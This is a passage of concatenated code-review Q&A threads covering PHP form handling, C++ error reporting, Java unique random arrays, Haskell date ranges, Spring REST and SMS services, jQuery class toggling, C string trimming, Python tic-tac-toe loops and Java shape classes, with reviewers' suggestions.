RedirectFactory::bounce('register', 102);

Of course, at that point, this really isn't a "factory" anymore, and should probably change its name. You probably also don't gain anything from having build be public.

I have to wonder, though, whether RedirectInterface and its relatives are overengineering. Single-method interfaces and classes like this are generally just a workaround for languages that lack any functional programming capability.


Processing a form with PHP I've seen few ways of processing forms with PHP. Whenever I am working with a form, I typically have two files: one for displaying the information (e.g. form.php) and the other for processing information (e.g. process_form.php). The latter uses sessions and simply redirects to the appropriate page depending on if the information submitted has been validated correctly or not. Below is a simple example of how I normally do things.

Form.php

<form name="form" action="process_form.php" method="POST">

  <? $field = 'name'; ?>
  <label for="<?= $field ?>">What is your name?
  <input type="text" id="<?= $field ?>" name="<?= $field ?>"
    value="<?= !isset($_SESSION['form'][$field]) ? $_SESSION['form'][$field] : '' ?>" maxlength="60" />
  <? if (!isset($_SESSION['errors'][$field])) { ?>
  <label class="error" for="<?= $field ?>"><?= $_SESSION['errors'][$field] ?>
  <? } ?>

  <? $field = 'age'; ?>
  <label for="<?= $field ?>">What is your age?
  <input type="text" id="<?= $field ?>" name="<?= $field ?>"
    value="<?= isset($_SESSION['form'][$field]) ? $_SESSION['form'][$field] : '' ?>" maxlength="2" />
  <? if (isset($_SESSION['errors'][$field])) { ?>
    <label class="error" for="<?= $field ?>"><?= $_SESSION['errors'][$field] ?>
  <? } ?>

  <? $field = 'email'; ?>
  <label for="<?= $field ?>">What is your email?
  <input type="text" id="<?= $field ?>" name="<?= $field ?>"
    value="<?= isset($_SESSION['form'][$field]) ? $_SESSION['form'][$field] : '' ?>" maxlength="100" />
  <? if (isset($_SESSION['errors'][$field])) { ?>
    <label class="error" for="<?= $field ?>"><?= $_SESSION['errors'][$field] ?>
  <? } ?>

  <input type="submit" value="Submit Your Information" />
  <input type="hidden" name="hid_submit" value="1" />

</form>
<?
if (isset($_SESSION['form'])) unset($_SESSION['form']);
if (isset($_SESSION['errors'])) unset($_SESSION['errors']);
?>

Process_form.php

$redirect_page = 'form.php';

$form   = array();
$errors = array();

if ($_SERVER['REQUEST_METHOD'] == 'POST') {

    $hid_submit = isset($_POST['hid_submit']) ? $_POST['hid_submit'] : NULL;

    if ($hid_submit) {

        $form['name'] = isset($_POST['name']) ? trim($_POST['name']) : '';
        $form['age'] = isset($_POST['age']) ? trim($_POST['age']) : '';
        $form['email'] = isset($_POST['email']) ? trim($_POST['email']) : '';

        // validate fields
        if (!valid($form['name'], 'name')) $errors['name'] = 'Please enter a valid name.';
        if (!valid($form['age'], 'age')) $errors['age'] = 'Please enter a valid age.';
        if (!valid($form['email'], 'email')) $errors['email'] = 'Please enter a valid email.';

        if (count($errors)) {
            $_SESSION['form']   = $form;
            $_SESSION['errors'] = $errors;
        } else {
            $redirect_page = 'another_page.php';
        }
    }
}

redirect($redirect_page);

I find the following approach has worked well in most situations, however I am always looking for better ways to improve.

That method is fine, and is the one I use. As for a better way? I don't know, seems just fine to me. However, there are some other things that could be improved with this script, and that may be why you feel there might be a better way.

For one, that's some really messy HTML... I would try and separate your PHP from your HTML as much as possible. This is a little harder to do when not using MVC, but can still be accomplished by abstracting your larger bits of code. Also, you are using PHP short tags, but then not using PHP template syntax, this seems counter productive. The purpose of the short tags is to make your code cleaner and make it non-PHP user friendly. Of course, I'm not endorsing PHP short tags, I think you should avoid them, as you are not always guaranteed to have a server that will support them. Lastly, your code is pretty repetitive, the best thing for repetitive stuff like this is loops. For example, here's a sample of how my version of this form would look.

<?php
$fields = array(
    'name',
    'age',
    //etc...
);
?>

<?php foreach( $fields AS $field ) : ?>

<?php $value = isset( $_SESSION[ 'form' ] [ $field ] ) ? $_SESSION[ 'form' ] [ $field ] : ''; ?>

<label for="<?php echo $field; ?>">What is your <?php echo $field; ?>?
<input type="text" name="<?php echo $field; ?>" value="<?php echo $value; ?>" maxlength="60" />

<?php if( ! isset( $_SESSION[ 'errors' ] [ $field ] ) ) : ?>

<label class="error" for="<?php echo $field; ?>"><?php echo $_SESSION[ 'errors' ] [ $field ]; ?>

<?php endif; ?>

<?php endforeach; ?>

Of course, even this seems really messy to me, though I can't think of much more, besides using MVC, to do to this to make it cleaner. Also, notice I removed the "id" attribute from your input tag. When your tag has a name, it doesn't need an id, you can just call it with the name. Example:

alert( document.form.name.value );//may not work, dont think "form" is valid name

Take a look at PHP's filter_input() function. Its available as long as your PHP version is >= 5.2. It also has some validation flags if you're interested.

$form[ 'name' ] = filter_input( INPUT_POST, 'name', FILTER_SANITIZE_STRING );

Keep in mind the "Don't Repeat Yourself" (DRY) principle. There are a lot of violations of it here. I demonstrated how to avoid it with your form above, you can do something similar for the processing script.


Two error-reporting conventions for a command-parser I need to implement some function and I would like to report about a fail made inside a function. If function doesn't fail I need to get a some result (for example, std::string). I see two ways to implement function:

// 1. report with exception
std::string foo() {
  std::string ret;
  ... // solving str
  if (is_fail())
    throw ...;
  return ret;
}

// 2. report with return value
bool foo(const std::string &str) {
  ... // solving str
  return is_fail();
}

What way is more preferable and why? Or, maybe, there is the best way I didn't write?

The following is the original code for both cases.

namespace fs = boost::filesystem;
namespace po = boost::program_options;

/////////////////////////////////////////////////
// 1. report with exception
fs::path parse(int argc, char *argv[]) {
  fs::path ret;
  po:options_description desc("Program options");
  desc.add_options()
    ("help,h", "Show help")
    ("output,o", po::value<fs::path>(&ret), "Output folder")
    ;
  po::variables_map vm;
  const po::parsed_options opts = po::command_line_parser(argc, argv).options(desc).run();
  po::store(opts, vm);
  ...
  return ret;
}

int main(int argc, char *argv[]) {
  fs::path output;
  try {
    output = parse(argc, argv);
  } catch (const std::exception &e) {
    cout << e.what() << std::endl;
    return 1;
  }
  ...
}

//////////////////////////////////////////////////////
// 2. report with return value
bool parse(int argc, char *argv[], fs::path &output) {
  po:options_description desc("Program options");
  desc.add_options()
    ("help,h", "Show help")
    ("output,o", po::value<fs::path>(&output), "Output folder")
    ;
  po::variables_map vm;
  try {
    const po::parsed_options opts = po::command_line_parser(argc, argv).options(desc).run();
    po::store(opts, vm);
  } catch (const std::exception &e) {
    cout << e.what() << endl;
    return false;
  }
  ...
  return true;
}

int main(int argc, char *argv[]) {
  fs::path output;
  if (!parse(argc, argv, output))
    return 1;
  ...
}

Actually speed is not critical here and parse function performs just once. Maybe, there is not big deal to choose right answer. However, I would like to know what good practice is.

Given the additional context, I don't think exceptions are warranted here.

Exceptions are most useful when the code that generates an error condition is far away from the code that handles that error condition.

In this code, the error condition is handled immediately after it's generated.

So I'd prefer the bool-returning version rather than throw/catch.


Function to skip assignments and apply multiple functions This is the function:
/**
 * Apply 1..n one parameter functions to the given variable.
 *
 * @param array/mixed $callback: An array of Callback functions which accept one parameter.
 * @param $var: The variable to apply them to.
 */
function §($callback,&$var) {
    if(is_array($callback)) {
        foreach($callback as $c) {
            $var = $c($var);
        }
    } else {
        $var = $callback($var);
    }
}

$a = "4";

§('intval',$a);

var_dump($a);

§(['intval','exp','ceil'],$a);

var_dump($a);

Result:

int(4)
float(55)

What do you think? This functions saves typing a lot of assignments, but could it confuse users?

I like it, though it looks a lot like array_map(). I would get rid of the § symbol. Instead, 'use' a very short custom function alias that is ASCII. Something like map().

Also, you could make this more powerful if you use variadics.


Generate random and unique array of int values for a given size I need to generate an array of int values for a given size, the values should be random and unique. the following implementation is "ok" for small values [1,10k], I would like to get some feedback on better implementation

/**
 * Generate an array of random & unique values in the interval [0,desiredSize*3]
 * To use only for small arrays with size in [1,50k]
 * for an array of 1k time: 0.01s
 * for an array of 10k time: 0.3s
 * for an array of 50k time: 8s
 * @param desiredSize
 * @return
 */
public int[] generateRandAndUniq(int desiredSize) {
    int[] arrayResult = new int[desiredSize];
    Random rand = new Random();
    arrayResult[0]= rand.nextInt(desiredSize);
    int counter = 0;
    while (counter < desiredSize) {
        int randValue = rand.nextInt(desiredSize*3);/* a larger interval! */
        int[] tempArray= new int[counter+2];
        System.arraycopy(arrayResult, 0, tempArray,0, counter);
        tempArray[counter+1]=randValue;
        if(!checkDuplicate(tempArray)){
            arrayResult[counter]=randValue;
            counter++;
        }
    }
    return arrayResult;
}

public boolean checkDuplicate(int[] arr) {
    boolean[] bitmap = new boolean[maxValueInArray(arr)+1]; /* just put a big number to avoid looping to get the max value? */
    for (int v : arr) {
        if (!bitmap[v]) {
            bitmap[v] = true;
        } else {
            return true;
        }
    }
    return false;
}

public int maxValueInArray(int[] arr){
    int max=-1;
    for(int v:arr){
        if(v>max)
            max=v;
    }
    return max;
}

While your code looks right, there are two concerns I have with it.

The first is the somewhat arbitrary use of desiredSize * 3 as the limit of the random numbers. Why that value?

The performance issue you have is the nested looping you have first to generate the values, and then inside you loop again to check for duplicates. You can reduce the inner loop significantly by using a Set in combination with the array to check for uniqueness. The set will consume more memory, but it will allow a check without any looping (it will reduce your \$O(n^2)\$ algorithm to \$O(n)\$).

The code would look something like:

public static int[] generateRandAndUniqSet(int desiredSize) {
    int[] arrayResult = new int[desiredSize];
    Set<Integer> uniq = new HashSet<>();
    Random rand = new Random();
    int counter = 0;
    while (counter < desiredSize) {
        int randValue = rand.nextInt(desiredSize*3);/* a larger interval! */
        if (uniq.add(randValue)) {
            arrayResult[counter++] = randValue;
        }
    }
    return arrayResult;
}

That Set change will have a significant impact on your performance.... but, is there a better way?

Assuming your limit of desiredSize * 3 and assuming a relatively small dataset (less than a million, or so), then a better option would be for you to:

create an array of size desiredSize * 3
populate it with consecutive numbers [0, 1, 2, 3, 4, ....., desiredsize * 3 - 1]
shuffle it using a Fisher-Yates shuffle.
return the first desiredSize elements from the shuffled array.

This would require no duplicate-checking at all.

I put together some code to demonstrate this:

public static final int[] generateRandAndUniqRGL(int desiredSize) {

    // generate set of sequential values from 0 ... desiredSize * 3
    int[] set = IntStream.range(0,  desiredSize * 3).toArray();

    // shuffle them
    int index = set.length;
    // Fisher-Yates.
    Random rand = new Random();
    while (index > 1) {
        final int pos = rand.nextInt(index--);
        final int tmp = set[pos];
        set[pos] = set[index];
        set[index] = tmp;
    }

    // return the first batch of them
    return Arrays.copyOf(set, desiredSize);
}

I timed this method against yours for a few sizes of data here in ideone: https://ideone.com/MrwWLV

Note the timing results:

OP function for 10 input took  0.012ms
RL function for 10 input took  0.016ms
OP function for 100 input took  0.054ms
RL function for 100 input took  0.032ms
OP function for 1000 input took  3.896ms
RL function for 1000 input took  0.603ms
OP function for 10000 input took 164.937ms
RL function for 10000 input took  1.750ms


Filtered date range function I want to write a function to produce an inclusive range of Day such that Saturdays are excluded.

import Data.Time.Calendar
import Data.Time.Calendar.WeekDate

let sel3 (_, _, x) = x
let dateRange d1 d2 = takeWhile (<= d2) [ d | d <- map (flip addDays d1) [1..], (sel3 . toWeekDate) d /= 6]

I believe the code is correct as written, but I'd like to know if there's anything non-idiomatic.

You seem to be mixing compiled Haskell (import ...) with GHCi commands (top-level lets).

Top-level definitions should all be given type signatures, e.g.,

sel3 :: (a, b, c) -> c

Try to break down your functions into semantically interesting (and therefore nameable) chunks. For instance, (sel3 . toWeekDate) d /= 6 is a proposition on Days to ensure it isn't Saturday. So say that.

-- Usage: isSaturday (fromWeekDate 2016 06 22) == False
--        isSaturday (fromWeekDate 2016 06 25) == True
isSaturday :: Day -> Bool
isSaturday d = weekday d == 6
  where
    weekday :: Day -> Int
    weekday = sel3 . toWeekDate

Take advantage of available instances! Days are instances of Enum, so you can enumerate them directly without that messy map and takeWhile you've got going on.

rangeWithoutSaturdays :: Day -> Day -> [Day]
rangeWithoutSaturdays start end = filter (not . isSaturday) [start .. end]


Java orchestration calls from two CRUD endpoints Here is my orchestration endpoint where I call customer endpoint and product endpoint. Product endpoint contains info about what customer have what product. I do not like how it look and smells as shit hope there is a better way to do it. Couldn't find a better way to do it but RestTemplate feels so wrong here.

@RestController
public class ApiController {

    private final static String CUSTOMER_URI = "http://localhost:8090/customers";
    private final static String PRODUCT_URI = "http://localhost:8085/products";
    private final static String PRODUCT_CUSTOM_URI = "http://localhost:8085/products/search/findByOwners";

    @GetMapping("/getCustomerById/{id}")
    public Customer getCustomerById( @PathVariable int id){
        MappingJackson2HttpMessageConverter converter = getMappingJackson2HttpMessageConverter();
        RestTemplate restTemplateHal = new RestTemplate(Collections.<HttpMessageConverter<?>> singletonList(converter));
        RestTemplate restTemplate = new RestTemplate();

        Customer customer = getCustomer(id, restTemplate);
        ArrayList<String> products = getProduct(id, restTemplateHal);
        customer.setProducts(products);
        customer.setId(id);
        return customer;
    }

    private ArrayList<String> getProduct(@PathVariable int id, RestTemplate restTemplateHal) {
        Collection content = restTemplateHal.getForObject(PRODUCT_CUSTOM_URI + "?id=" + id, PagedResources.class).getContent();
        ArrayList<String> products = new ArrayList<>();
        for (Object o : content) {
            System.out.println(o);
            LinkedHashMap<String, String> o1 = (LinkedHashMap<String, String>)o;
            products.add(o1.get("name"));
        }
        return products;
    }

    private Customer getCustomer(@PathVariable int id, RestTemplate restTemplate) {
        ResponseEntity<Customer> responseCustomer
                = restTemplate.getForEntity(CUSTOMER_URI + "/"+id, Customer.class);
        return responseCustomer.getBody();
    }

    private MappingJackson2HttpMessageConverter getMappingJackson2HttpMessageConverter() {
        ObjectMapper mapper = new ObjectMapper();
        mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
        mapper.registerModule(new Jackson2HalModule());

        MappingJackson2HttpMessageConverter converter = new MappingJackson2HttpMessageConverter();
        converter.setSupportedMediaTypes(MediaType.parseMediaTypes("application/hal+json"));
        converter.setObjectMapper(mapper);
        return converter;
    }
}

It's because your presentation layer does the orchestration. I'd recommend to make the rest layer as stupid as possible. Its only purpose should be to get the request information from the URL, load the corresponding data from the service layer, and transform the data to JSON or whatever format it needs to be.


SpringBoot application to send notification via phone numbers on SMS I'm using Spring boot - 2.3.3.RELEASE and gradle.
Note- I'm using Factory and Strategy pattern. This project is going to be used as a Library for other projects to import and use the methods exposed by Service layer.
Here is the folder structure: https://imgur.com/a/jYr7wyP
I would appreciate if the community can review this code and give suggestions to make it better.
Demo.class
@EnableAutoConfiguration(exclude={DataSourceAutoConfiguration.class})
@SpringBootApplication
public class Demo {
    public static void main(String[] args) {
        SpringApplication.run(Demo.class, args);
    }
}

Init.java
@Component
public class InitClass implements ApplicationRunner {

    @Autowired
    PhoneService phoneService;

    @Override
    public void run(ApplicationArguments args) throws Exception {
        String title="Title";
        String message="message";
        List<String> phoneNumbers = new ArrayList<>();
        phoneNumbers.add("333-222-1111");
        phoneService.sendNotificationByPhoneNumbers(title, message, phoneNumbers);
    }
}

PhoneService.java
@Service
public class PhoneService {

    @Autowired
    PhoneServiceImpl notificationServiceImpl;

    public void sendNotificationByPhoneNumbers(String title, String message, List<String> phoneNumbers) {
        notificationServiceImpl.sendNotificationByPhoneNumbers(title, message, phoneNumbers);
    }
}

PhoneServiceImpl.java
@Slf4j
@Component
public class PhoneServiceImpl {

    @Value("${notificationService.url}")
    String url;

    public void sendNotificationByPhoneNumbers(String title, String message, List<String> phoneNumbers) {
        PhoneContext phoneContext = new PhoneContext(new SendPhoneByPhoneNumbers(url));
        phoneContext.notify(title, message, phoneNumbers);
    }
}

PhoneContext.java
public class PhoneContext {

    private PhoneStrategy phoneStrategy;

    public PhoneContext(PhoneStrategy phoneStrategy){
        this.phoneStrategy = phoneStrategy;
    }

    public void notify(String title, String message, List<String> employees){
        phoneStrategy.sendNotification(title, message, employees);
    }
}

PhoneStrategy.java
public interface PhoneStrategy {

   public void sendNotification(String title, String message, List<String> listOfEmployeeIdGroupNamePhoneNumbers);
}

SendPhoneByPhoneNumbers.java
@Slf4j
public class SendPhoneByPhoneNumbers implements PhoneStrategy {

    RestTemplate restTemplate;
    String notificationServiceURL;
    BuildHttpRequest buildHttpRequest;

    public SendPhoneByPhoneNumbers(String notificationServiceURL) {
        this.notificationServiceURL = notificationServiceURL;
        this.restTemplate = new RestTemplate();
        this.buildHttpRequest = new BuildHttpRequest();
    }

    @Async
    public void sendNotification(String title, String message, List<String> listOfEmployeeIdGroupNamePhoneNumbers) {
        SmsMessage smsMessage= new SmsMessage(title, message, listOfEmployeeIdGroupNamePhoneNumbers, Collections.emptyList(), Collections.emptyList());

        try {
            HttpHeaders headers = new HttpHeaders();
            headers.set("idToken", buildHttpRequest.getNewToken());

            HttpEntity<SmsMessage> newRequest = new HttpEntity<>(smsMessage, headers);
            restTemplate.postForObject(notificationServiceURL + "/sms/custom", newRequest, String.class);
        } catch (Exception e) {
            log.error(e.getMessage());
        }
    }
}

PhoneService class
In my opinion, the PhoneService should be converted to an interface exposing the methods.
public interface PhoneService {
   void sendNotificationByPhoneNumbers(String title, String message, List<String> phoneNumbers);
}

Then, the PhoneServiceImpl class can implement the interface PhoneService.
@Slf4j
@Service
public class PhoneServiceImpl implements PhoneService {

   @Value("${notificationService.url}")
   String url;

   @Override
   public void sendNotificationByPhoneNumbers(String title, String message, List<String> phoneNumbers) {
      PhoneContext phoneContext = new PhoneContext(new SendPhoneByPhoneNumbers(url));
      phoneContext.notify(title, message, phoneNumbers);
   }
}

Those’s changes will allow you to use inheritance and make the code easier to refactor if, you want to add any new phone services (new implementations). The old implementation was, in my opinion, a bit confusing and did not add any advantages that I can see.
Prefer Constructor-based Dependency Injection / Setter-based Dependency Injection over Field Injection
In my opinion, the Constructor Dependency Injection should be preferred over the Field Injection since it makes the testing easier and more natural (you can pass the mocks directly into the constructor) without using hardcore ways to inject the dependencies.
Also, even in Spring documentation, the Field Injection is not even mentioned as a way to inject and lots of people don’t recommend it.
Never expose the variables directly in classes
In my opinion, it's a bad habit to have public variables in classes, since you don’t control your own data. Try to hide them by adding the private / protected keyword before them and use getters / setters to change the state. This will give you more control over the class own data.


Tag dependence approach I need to add class is_active to all div's when I click on
 and remove class if I click again. Only every div have class is_active then main div (
) have class is_active.

Please tell me if this is ok or not. I need as fast of a solution as possible. I'm also not sure using .each() is a very good idea.

I need as fast of a solution as possible. I'm not sure using if .each() is a very good idea.

$("#all-tags").click(function() {
    if ($(this).hasClass("is_active")) {
        $(".tags_cloud div").each(function() {
            $(this).removeClass("is_active");
        });
    } else {
        $(this).addClass("is_active");
        $(".tags_cloud div").each(function() {
            $(this).addClass("is_active");
        });
    }
});

$(".tags_cloud div").click(function() {
    !$(this).is("#all-tags") ? $(this).toggleClass("is_active") : true;
    var c = 0;
    $(".tags_cloud div").each(function() {
        if ($(this).hasClass("is_active") && !$(this).is("#all-tags")) {
            // some my code
        } else if (!$(this).is("#all-tags")) {
            $("#all-tags").removeClass("is_active");
            c = 1;
        }
        c == 0 ? $("#all-tags").addClass("is_active") : true;
    })
});

I updated your code to remove the first click-handler and the each-loops.
However I'm not quite sure if this is necessarily faster then your solution.

My suggestion relies on callbacks, css-selectors and conditions:

$(".tags_cloud div").click(function() {

  var $this = $(this),
    $tags = $(".tags_cloud div:not(#all-tags)"),
    $all = $(".tags_cloud div#all-tags");

  var all = $(this).is('#all-tags') ? true : false;
  if (all) {
    $this.toggleClass(function() {
      if (!$(this).hasClass('is_active')) {
        $tags.addClass('is_active');
      } else {
        $tags.removeClass('is_active');
      }
      return "is_active";
    });
  } else {
    $this.toggleClass('is_active');
    ($tags.not('.is_active').length === 0) ? $all.addClass('is_active') : $all.removeClass('is_active');
  }
});

Demo


Determining if an std::string contains a numerical type I recently came across this SO question asking for methods to determine if a std::string represents an integer. There is also this SO question for floats. I decided to code up a few methods consolidating these questions.

#include <string>
#include <algorithm>
#include <iterator>
#include <cctype>

namespace detail
{
    const auto is_digit = [] (const char c) { return std::isdigit(c); };
}

bool is_integral(const std::string& str)
{
    return !str.empty() && std::all_of(std::cbegin(str), std::cend(str), detail::is_digit);
}

bool is_floating_point(const std::string& str)
{
    using std::cbegin; using std::cend;

    auto it = std::find_if_not(cbegin(str), cend(str), detail::is_digit);

    return it != cend(str) && *it++ == '.' && std::all_of(it, cend(str), detail::is_digit);
}

bool is_arithmetic(const std::string& str)
{
    using std::cbegin; using std::cend;

    if (str.empty()) return false;

    auto it = std::find_if_not(cbegin(str), cend(str), detail::is_digit);

    return it == cend(str) || (*it++ == '.' && std::all_of(it, cend(str), detail::is_digit));
}

Here's an example/expected behaviour:

#include <iostream>

int main()
{
    std::string empty {};
    std::string integer {"123"};
    std::string floating1 {"123."};
    std::string floating2 {"123.4"};
    std::string neither1 {"123..4"};
    std::string neither2 {"1r23"};

    std::cout << std::boolalpha;

    std::cout << is_integral(empty) << std::endl; // false
    std::cout << is_floating_point(empty) << std::endl; // false
    std::cout << is_arithmetic(empty) << std::endl; // false
    std::cout << std::endl;

    std::cout << is_integral(integer) << std::endl; // true
    std::cout << is_floating_point(integer) << std::endl; // false
    std::cout << is_arithmetic(integer) << std::endl; // true
    std::cout << std::endl;

    std::cout << is_integral(floating1) << std::endl; // false
    std::cout << is_floating_point(floating1) << std::endl; // true
    std::cout << is_arithmetic(floating1) << std::endl; // true
    std::cout << std::endl;

    std::cout << is_integral(floating2) << std::endl; // false
    std::cout << is_floating_point(floating2) << std::endl; // true
    std::cout << is_arithmetic(floating2) << std::endl; // true
    std::cout << std::endl;

    std::cout << is_integral(neither1) << std::endl; // false
    std::cout << is_floating_point(neither1) << std::endl; // false
    std::cout << is_arithmetic(neither1) << std::endl; // false
    std::cout << std::endl;

    std::cout << is_integral(neither2) << std::endl; // false
    std::cout << is_floating_point(neither2) << std::endl; // false
    std::cout << is_arithmetic(neither2) << std::endl; // false
    std::cout << std::endl;

    std::cout << is_integral(neither2) << std::endl; // false
    std::cout << is_floating_point(neither2) << std::endl; // false
    std::cout << is_arithmetic(neither2) << std::endl; // false
    std::cout << std::endl;

    return 0;
}

I'm looking for any improvements.

Functional issues

Your code doesn't consider negative numbers to be integral. You're also missing support for things like 1e4 for floating point. Ultimately, std::stoi and std::stof might be better for your needs:

boost::optional<int> convert_integer(std::string const& str) {
    try {
        size_t pos;
        int result = std::stoi(str, &pos);
        if (pos == str.size()) {
            return result;
        }
        else {
            return boost::none;
        }
    }
    catch (std::invalid_argument& ) {
        return boost::none;
    }
    catch (std::out_of_range& ) {
        return boost::none;
    }
}

and similar for floating point.

is_digit

There's no reason for this to be a lambda. It's actually quite a bit shorter if you just write it as a function:

const auto is_digit = [] (const char c) { return std::isdigit(c); };
bool is_digit(char c) { return std::isdigit(c); }

using std::cbegin;

There's actually no reason to bring this in, since you could already make an unqualified call to cbegin() thanks to ADL. Also, you don't even need cbegin() since begin() would have done the same thing (str is a reference to const in all of your functions).

Too much action

This is really busy:

return it != cend(str) && *it++ == '.' && std::all_of(it, cend(str), detail::is_digit);

And it's confusing since you increment it in the middle. Which happens to work, but I had to stop and really think about it to convince myself that it does. You could simply shift the ++ into the all_of:

return it != cend(str) &&
    *it == '.' &&
    std::all_of(it + 1, cend(str), detail::is_digit);

Since there's no modification going on here, each of the 3 parts are easier to reason about.

Just std::string?

A logical extension would be to change your functions to take iterator pairs, or const char* pairs. You could provide convenience string methods to forward to the helpers, but it'd be potentially more useful to have

// one of...
bool is_integral(const char* first, const char* last);
template <class It>
bool is_integral(It first, It last);

// ... and a helper to forward
bool is_integral(const std::string& str);


Remove all trailing blanks and spaces from a string This is my solution to K&R Ex 1-18 which requires us to remove all trailing blanks and spaces from a string. I specifically wanted to use a separate function for processing the input (via gtLine()) to promote code re-usability. Please tell me ways in which I could have made my program shorter/better. Also, please point out anything wrong that you might find with my programming logic or algorithm.

#include<stdio.h>
#define MAXLEN      100
#define STORELEN    1000

#define T   1
#define F   0

int gtLine(char[]);
int process(char[],int);
void append(char[],char[],int);

main()
{
    char line[MAXLEN],str[STORELEN];
    int len,pos;
    len=pos=0;

    while((len=gtLine(line))>0)
    {
        len=process(line,len);
        append(str,line,pos);
        pos+=len;
    }

    printf("\nThe text : %s\n" AC_RESET,str);
    return 0;
}

/*** Gets a line for Input from the user Till EOF or a new line is read. Returns the position of NULL ***/

int gtLine(char arr[])
{
    int c,i;

    for(i=0;(i<MAXLEN-1) && ((c=getchar())!=EOF) && (c!='\n');++i)
        arr[i]=c;
    if(c=='\n')
    {
        arr[i]=c;
        ++i;
    }
    arr[i]='\0';
    return i;
}

/*** Processes the input string to remove all trailing spaces from the text. ***/
/*** Returns the new length of string                                        ***/

int process(char arr[],int len)
{
    int pc,nl;
    nl=F;                   // New line Flag
    if(arr[0]!='\n')
    {
        pc=arr[len-1];
        while(pc==' '||pc=='\t'||pc=='\n')
        {
            if(pc=='\n')
                nl=T;       // Set to 1 if at anypoint a new line character is encountered.
            --len;
            if(len!=0)
                pc=arr[len-1];
        }
        if(nl==T && len!=0)
            arr[len++]='\n';
        arr[len]='\0';
        return len;
    }
    else
    {
        arr[0]='\0';
        return (len=0);
    }
}

/*** Appends the string from[] to the end of to[] from to[pos] where pos= position of NULL in to[] ***/

void append(char to[],char from[],int pos)
{
    int i=0;

    while((pos<STORELEN) && ((to[pos]=from[i])!='\0'))
    {
        ++i;
        ++pos;
    }
    to[pos]='\0';
}

When working with strings, always try to avoid copying/duplicating/moving them, if possible. This would be a perfect example to do so.

When you think about strings in memory, they may be described as a specific number of characters (i.e. length or determined by a terminator) at a specific offset in memory. So all you'll have to do is move both, the starting offset as well as the end indicator (whether it's another pointer or some specific value, i.e. terminator, doesn't matter).

Both these tasks can easily be achieved using a loop in a single line each.

Here's what I'd do (simplified; try it on Ideone.com):

#include <string.h>
#include <stdio.h>

char *trim(char *text) {
    char *start = text; // points to the first character
    char *end = text + strlen(text); // points past the last character

    // Let's start with the left side.
    // Move the pointer as long as there's a whitespace
    for (; isspace(*start); ++start);

    // In a similar way, let's get the right end.
    // Again, move the pointer as long as there's a whitespace right before it
    for (;end > start && isspace(end[-1]); --end);

    // Insert the new terminator
    *end = '\0';

    // Return the new starting pointer
    return start;
}

int main(int argc, char **argv) {
    char string[] = "  \t  Hello World\t\t\n";
    printf("result: '%s'\n", trim(string));
    return 0;
}

Note that I'm removing line breaks as whitespaces as well. In this example you'd add it after trimming the line.

Other points regarding your code:

If this is no contest to write code that's as short as possible (like code golf), try to use telling names. len is good, arr is good as well, but pc and nl aren't (nl is obviously "new line", but how about pc?).
The same applies to your preprocessor constants. This is even more important, since you might unintentionally rewrite code. As such never define F or T. If you want a TRUE and FALSE, call them like that or simply use 0 or 1.
In a similar way, use white spaces to make your code more readable.

For example, the line:

while(pc==' '||pc=='\t'||pc=='\n')

could be reformatted to this:

while (pc == ' ' || pc == '\t' || pc == '\n')

This way it's easier to see where single expressions start or end, especially combined with syntax highlighting colors.
I'd also rewrite the contents of your append() function. Since there's nothing happening inside the loop other than the increments, you could use a for() instead:

void append(char to[], char from[], int pos)
{
    int i;

    for (i = 0; pos < STORELEN - 1 && from[i]; to[pos++] = from[i++]);

    to[pos] = '\0'; // Only required in case you run out of space
}

As long as your target string isn't too long already and there's still a character left in your source string it will copy the contents and then move both offsets every iteration. Also note the - 1 when checking for the maximum length. Otherwise pos would point one past the maximum length (see below).
There's a buffer overrun in your code:

If you define char string[1000], your last valid offset would be 999, since the index starts at 0.
When checking pos < STORELEN and this check fails, the value of pos would be 1000 already. Once you hit the line to[pos] = '\0' you're essentially writing past the allocated memory at string[1000].


Pythonic loop logic for Tic-Tac-Toe game board I have a while loop below, but I'm not quite sure if it's the most 'pythonic' thing. I've omitted most of the code, and have the skeletal structure below (but have all the code necessary to understand my game_status() function). And the main thing in question is whether/how to use a function as a condition in a while statement. (In my case, the game_status() function).

#Legal board positions
BOARD_POSITIONS = list(range(1, 10))

#All possible combinations of board positions giving 8 winning lines.
WINNING_LINES = [[1, 2, 3], [4, 5, 6], [7, 8, 9],
                 [1, 4, 7], [2, 5, 8], [3, 6, 9],
                 [1, 5, 9], [3, 5, 7]]

def game_status(board):
    """Updates the status of the game based on three outcomes:
       Returning 'X' or 'O' is either has three in a row; 'tie' if the
       board is full, but no players have won; or 'unfinished' otherwise"""
    for i, j, k in WINNING_LINES:
        if not available(board, i) and board[i] == board[j] == board[k]:
            return board[i]
    if any(available(board, i) for i in BOARD_POSITIONS):
        return 'unfinished'
    return 'tie'

while True:
    game_board = (' ' for i in range(10))
    while game_status(game_board) is 'unfinished':
        #Main game code
    else:
        if game_status(game_board) is 'X':
            #Code for X winning goes here
        elif game_status(game_board) is 'O':
            #Code for O winning goes here
        else:
            #Code for a tie goes here

As you notice, I've got to call game_status() multiple times in the else part of my while statement in order to check the value of game_status() so that I know to print who won or if the game was a tie.

One idea I had is the following:

else:
    status = game_status(game_board)
    if status = 'X':
        #Code
    elif status = 'O':
        #Code

and so on. However, I am quite curious as to the most pythonic way to do things, as well as whether or not using a function as a conditional is pythonic.

When you make "the same" function call repeatedly, you can create a question in the reader's mind whether or not it will return the same value every time (especially where the arguments are mutable objects, but even if not).

This is probably to be avoided where it's easy to do so. In your code the expectation is that the function will eventually change what value it returns to terminate the loop, and then won't change value across the if ... elif

Separately, there is a question of the performance of the code. Strictly speaking it is premature optimization to consider the performance of a function without measuring it to determine whether or not it is significant, but I think most programmers would avoid executing game_status more times than they have to.

On this occasion both concerns are dealt with much the same way -- assign the value to a variable and use the variable repeatedly. This minimizes the number of calls made for performance, and it indicates to the reader when you think you've changed something such that the result might have changed.

There is nothing inherently wrong with using the result of a function call as a condition:

if "foo".startswith("f"):
    print('as expected')

Out of interest - what is the condition in the "main game code" that will break out of the loop, avoiding the loop's else clause? Match abandoned?


Classes representing figures on a plane The task is to write a class system that implements figures on the plane (point, segment, square, rectangle, triangle). Also, it is needed to provide encapsulation. There should be constructors and several methods that determine the size. Use the Has-a relationship.

Would you please review my code and say what is not correct here?

public class Pres12Task3 {

public static void main(String[] args) {
    Shape s = new Shape();
    Triangle t = new Triangle(1, 2, 3);
    System.out.println(t.width + "," + t.height + "," + t.getLength());
    t.changeSize(6);
}
}
class Shape {
int X;
int Y;

Shape() {
    X = 0;
    Y = 0;
}
public Shape(int x2, int y2) {
